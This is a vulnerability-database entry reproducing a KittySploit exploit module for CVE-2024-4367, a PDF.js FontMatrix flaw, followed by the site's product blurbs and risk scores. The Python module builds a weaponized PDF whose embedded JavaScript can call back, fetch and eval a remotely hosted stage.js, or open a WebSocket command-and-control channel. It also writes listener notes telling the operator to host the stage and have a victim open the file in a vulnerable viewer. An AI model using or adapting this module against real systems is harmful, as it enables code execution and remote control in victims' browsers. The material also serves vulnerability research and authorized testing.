Lucene search
+L

PDF CVE-2024-4367 PDF.js Staged Delivery

🗓️ 10 Jul 2026 11:31:42Reported by KittySploitType 
kittysploit
 kittysploit
🔗 kittysploit.com

Arbitrary JavaScript execution in PDF.js via FontMatrix enables DoS or RCE.

Related
Refs
Code
#!/usr/bin/env python3
# -*- coding: utf-8 -*-

from pathlib import Path
from typing import List

from kittysploit import *
from lib.pdf.rce import (
    build_pdfjs_js,
    build_stage_js_template,
    create_pdfjs_fontmatrix_rce,
    write_listener_notes,
)
from lib.pdf.mixins import PdfRceMixin


class Module(Auxiliary, PdfRceMixin):
    __info__ = {
        "name": "PDF CVE-2024-4367 PDF.js Staged Delivery",
        "description": (
            "Generate a CVE-2024-4367 FontMatrix PDF with staged JavaScript for authorized "
            "testing: callback, fetch+eval stager, or WebSocket C2. Uses CALLBACK_URL "
            "(not LHOST). PDF.js runs in a browser sandbox — for OS reverse shells use "
            "exploits/multi/fileformat/* with framework PAYLOAD."
        ),
        "author": ["KittySploit Team"],
        "references": [
            "https://codeanlabs.com/2024/05/cve-2024-4367-arbitrary-js-execution-in-pdf-js/",
        ],
        "tags": ["pdf", "cve-2024-4367", "pdfjs", "stager", "authorized-only"],
    }

    MODULE_TITLE = "CVE-2024-4367 PDF.js staged delivery"
    OUTPUT_BASENAME = "cve_2024_4367_staged.pdf"
    CVE_IDS = ["CVE-2024-4367"]

    payload_mode = OptChoice(
        "fetch_stager",
        "Staged payload mode",
        required=True,
        choices=["callback", "fetch_stager", "websocket_c2", "reverse_shell_hint"],
    )

    def generate_pdf_rce_artifacts(self, output_path: Path) -> List[Path]:
        mode = str(self.payload_mode)
        stage = self._stage_url()
        js = build_pdfjs_js(
            mode,
            lhost="",
            lport=0,
            stage_url=stage,
        )
        create_pdfjs_fontmatrix_rce(output_path, js)

        out_dir = self._output_dir()
        artifacts: List[Path] = [output_path]

        if mode in ("fetch_stager", "reverse_shell_hint", "websocket_c2"):
            stage_js = out_dir / "stage.js"
            stage_js.write_text(
                build_stage_js_template(mode, lhost="", lport=0),
                encoding="utf-8",
            )
            artifacts.append(stage_js)

        artifacts.append(
            write_listener_notes(
                out_dir,
                title="CVE-2024-4367 PDF.js staged delivery",
                stage_url=stage,
                payload_mode=mode,
                extra=[
                    f"Host stage.js at {stage}/stage.js if using fetch_stager.",
                    "Open the PDF in a vulnerable PDF.js build (Firefox < 126, etc.).",
                ],
            )
        )
        return artifacts

    def run(self):
        return self.run_pdf_rce()

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

10 Jul 2026 11:31Current
7.9High risk
Vulners AI Score7.9
CVSS 3.15.6 - 8.8
EPSS0.7066
SSVC
0